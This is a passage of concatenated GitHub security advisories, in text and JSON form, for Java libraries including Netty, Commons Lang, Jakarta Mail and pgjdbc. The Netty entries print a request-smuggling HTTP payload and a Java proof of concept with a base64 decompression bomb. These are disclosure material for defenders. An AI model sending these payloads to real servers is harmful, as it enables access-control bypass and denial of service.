"id": "GHSA-cphf-4846-3xx9",
"modified": "2026-01-16T20:20:55Z",
"published": "2026-01-15T21:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1002"
},
{
"type": "WEB",
"url": "https://github.com/vert-x3/vertx-web/issues/2836"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-vertx/vert.x/pull/5894"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-vertx/vert.x/pull/5895"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-vertx/vert.x/commit/5b67f5d17788b2483d277c760f3f8154f9b2fed0"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-vertx/vert.x/commit/d007e7b418543eb1567fe95cf20f5450a5c2d047"
},
{
"type": "PACKAGE",
"url": "https://github.com/eclipse-vertx/vert.x"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Vert.x Web static handler component cache can be manipulated to deny the access to static files"
}
GHSA-FGHV-69VJ-QJ49
Vulnerability from github – Published: 2025-09-04 17:35 – Updated: 2025-09-10 20:48Summary
A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.
Details
When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the RFC).
This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):
POST /one HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0
POST /two HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
0
The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see this Portswigger article).
Impact
This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.
The impact is high, but it only affects setups that use a front-end which: 1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. 2. Forwards chunk extensions without normalization.
Disclosure
- This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html
Discussion
Discussion for this vulnerability can be found here: - https://github.com/netty/netty/issues/15522 - https://github.com/JLLeitschuh/unCVEed/issues/1
Credit
- Credit to @JeppW for uncovering this vulnerability.
- Credit to @JLLeitschuh at Socket for coordinating the vulnerability disclosure.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.125.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.5.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58056"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-04T17:35:20Z",
"nvd_published_at": "2025-09-03T21:15:33Z",
"severity": "LOW"
},
"details": "## Summary\nA flaw in netty\u0027s parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.\n\n## Details\nWhen encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)).\n\nThis is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):\n\n```\nPOST /one HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n48;\\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n0\n\nPOST /two HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n0\n\n```\n\nThe intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)).\n\n## Impact\nThis is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.\n\nThe impact is high, but it only affects setups that use a front-end which:\n1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension.\n2. Forwards chunk extensions without normalization.\n\n## Disclosure\n\n - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html\n\n## Discussion\nDiscussion for this vulnerability can be found here:\n - https://github.com/netty/netty/issues/15522\n - https://github.com/JLLeitschuh/unCVEed/issues/1\n\n## Credit\n\n - Credit to @JeppW for uncovering this vulnerability.\n - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure.",
"id": "GHSA-fghv-69vj-qj49",
"modified": "2025-09-10T20:48:05Z",
"published": "2025-09-04T17:35:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-fghv-69vj-qj49"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58056"
},
{
"type": "WEB",
"url": "https://github.com/JLLeitschuh/unCVEed/issues/1"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/issues/15522"
},
{
"type": "WEB",
"url": "https://github.com/github/advisory-database/pull/6092"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/pull/15611"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/edb55fd8e0a3bcbd85881e423464f585183d1284"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://w4ke.info/2025/06/18/funky-chunks.html"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Netty vulnerable to request smuggling due to incorrect parsing of chunk extensions"
}
GHSA-J288-Q9X7-2F5V
Vulnerability from github – Published: 2025-07-11 15:31 – Updated: 2025-11-05 20:30Uncontrolled Recursion vulnerability in Apache Commons Lang.
This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0.
The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop.
Users are recommended to upgrade to version 3.18.0, which fixes the issue.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.commons:commons-lang3"
},
"ranges": [
{
"events": [
{
"introduced": "3.0"
},
{
"fixed": "3.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "commons-lang:commons-lang"
},
"ranges": [
{
"events": [
{
"introduced": "2.0"
},
{
"last_affected": "2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-48924"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-12T00:48:03Z",
"nvd_published_at": "2025-07-11T15:15:24Z",
"severity": "MODERATE"
},
"details": "Uncontrolled Recursion vulnerability in Apache Commons Lang.\n\nThis issue affects Apache Commons Lang: Starting with\u00a0commons-lang:commons-lang\u00a02.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before\u00a03.18.0.\n\nThe methods ClassUtils.getClass(...) can throw\u00a0StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could\u00a0cause an application to stop.\n\nUsers are recommended to upgrade to version 3.18.0, which fixes the issue.",
"id": "GHSA-j288-q9x7-2f5v",
"modified": "2025-11-05T20:30:31Z",
"published": "2025-07-11T15:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48924"
},
{
"type": "WEB",
"url": "https://github.com/apache/commons-lang/commit/b424803abdb2bec818e4fbcb251ce031c22aca53"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/commons-lang"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/bgv0lpswokgol11tloxnjfzdl7yrc1g1"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00000.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00026.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00032.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00036.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/07/11/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apache Commons Lang is vulnerable to Uncontrolled Recursion when processing long inputs"
}
GHSA-9342-92GG-6V29
Vulnerability from github – Published: 2025-07-21 18:32 – Updated: 2026-04-16 18:47In Jakarta Mail 2.2 it is possible to preform a SMTP Injection by utilizing the \r and \n UTF-8 characters to separate different messages.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.angus:smtp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.sun.mail:jakarta.mail"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.sun.mail:jakarta.mail"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-7962"
],
"database_specific": {
"cwe_ids": [
"CWE-147"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-06T20:44:37Z",
"nvd_published_at": "2025-07-21T18:15:28Z",
"severity": "MODERATE"
},
"details": "In Jakarta Mail 2.2 it is possible to preform a SMTP Injection by utilizing the\u00a0\\r and \\n UTF-8 characters to separate different messages.",
"id": "GHSA-9342-92gg-6v29",
"modified": "2026-04-16T18:47:48Z",
"published": "2025-07-21T18:32:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7962"
},
{
"type": "WEB",
"url": "https://github.com/jakartaee/mail-api/issues/765"
},
{
"type": "WEB",
"url": "https://github.com/jakartaee/mail-api/pull/760"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-ee4j/angus-mail/commit/269099b652a0a5c2fa140f1296a18f0fbbea0d44"
},
{
"type": "PACKAGE",
"url": "https://github.com/eclipse-ee4j/angus-mail"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/cve-assignement/-/issues/67"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/290"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/290#note_5320539"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/09/03/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Jakarta Mail vulnerable to SMTP Injection"
}
GHSA-HQ9P-PM7W-8P54
Vulnerability from github – Published: 2025-06-11 14:44 – Updated: 2025-06-11 16:17Impact
When the PostgreSQL JDBC driver is configured with channel binding set to required (default value is prefer), the driver would incorrectly allow connections to proceed with authentication methods that do not support channel binding (such as password, MD5, GSS, or SSPI authentication). This could allow a man-in-the-middle attacker to intercept connections that users believed were protected by channel binding requirements.
Patches
TBD
Workarounds
Configure sslMode=verify-full to prevent MITM attacks.
References
- https://www.postgresql.org/docs/current/sasl-authentication.html#SASL-SCRAM-SHA-256
- https://datatracker.ietf.org/doc/html/rfc7677
- https://datatracker.ietf.org/doc/html/rfc5802
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.postgresql:postgresql"
},
"ranges": [
{
"events": [
{
"introduced": "42.7.4"
},
{
"fixed": "42.7.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-49146"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-11T14:44:04Z",
"nvd_published_at": "2025-06-11T15:15:42Z",
"severity": "HIGH"
},
"details": "### Impact\nWhen the PostgreSQL JDBC driver is configured with channel binding set to `required` (default value is `prefer`), the driver would incorrectly allow connections to proceed with authentication methods that do not support channel binding (such as password, MD5, GSS, or SSPI authentication). This could allow a man-in-the-middle attacker to intercept connections that users believed were protected by channel binding requirements.\n\n### Patches\nTBD\n\n### Workarounds\n\nConfigure `sslMode=verify-full` to prevent MITM attacks.\n\n### References\n\n* https://www.postgresql.org/docs/current/sasl-authentication.html#SASL-SCRAM-SHA-256\n* https://datatracker.ietf.org/doc/html/rfc7677\n* https://datatracker.ietf.org/doc/html/rfc5802",
"id": "GHSA-hq9p-pm7w-8p54",
"modified": "2025-06-11T16:17:03Z",
"published": "2025-06-11T14:44:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-hq9p-pm7w-8p54"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49146"
},
{
"type": "WEB",
"url": "https://github.com/pgjdbc/pgjdbc/commit/9217ed16cb2918ab1b6b9258ae97e6ede244d8a0"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc5802"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc7677"
},
{
"type": "PACKAGE",
"url": "https://github.com/pgjdbc/pgjdbc"
},
{
"type": "WEB",
"url": "https://www.postgresql.org/docs/current/sasl-authentication.html#SASL-SCRAM-SHA-256"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "pgjdbc Client Allows Fallback to Insecure Authentication Despite channelBinding=require Configuration"
}
GHSA-3P8M-J85Q-PGMJ
Vulnerability from github – Published: 2025-09-03 18:00 – Updated: 2025-09-04 13:51Summary
With specially crafted input, BrotliDecoder and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.
Details
BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.
Tested on 4.1.118, but there were no changes to the decoder since.
PoC
Run this test case with -Xmx1G:
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import java.util.Base64;
public class T {
public static void main(String[] args) {
EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
}
}
Error:
Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)
at java.base/java.nio.Bits.reserveMemory(Bits.java:178)
at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)
at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)
at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)
at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)
at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)
at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:137)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:127)
at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)
at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)
at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)
at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)
at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)
at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)
at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)
at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)
at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)
at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)
at io.netty.handler.codec.compression.T.main(T.java:11)
Impact
DoS for anyone using BrotliDecoder on untrusted input.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-compression"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.5.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.125.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58057"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-03T18:00:55Z",
"nvd_published_at": "2025-09-04T10:42:32Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWith specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.\n\n### Details\n\n`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.\n\nTested on 4.1.118, but there were no changes to the decoder since.\n\n### PoC\n\nRun this test case with `-Xmx1G`:\n\n```java\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\n\nimport java.util.Base64;\n\npublic class T {\n public static void main(String[] args) {\n EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());\n channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode(\"aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=\")));\n }\n}\n```\n\nError:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)\n\tat java.base/java.nio.Bits.reserveMemory(Bits.java:178)\n\tat java.base/java.nio.DirectByteBuffer.\u003cinit\u003e(DirectByteBuffer.java:121)\n\tat java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)\n\tat io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)\n\tat io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)\n\tat io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)\n\tat io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:137)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:127)\n\tat io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)\n\tat io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)\n\tat io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)\n\tat 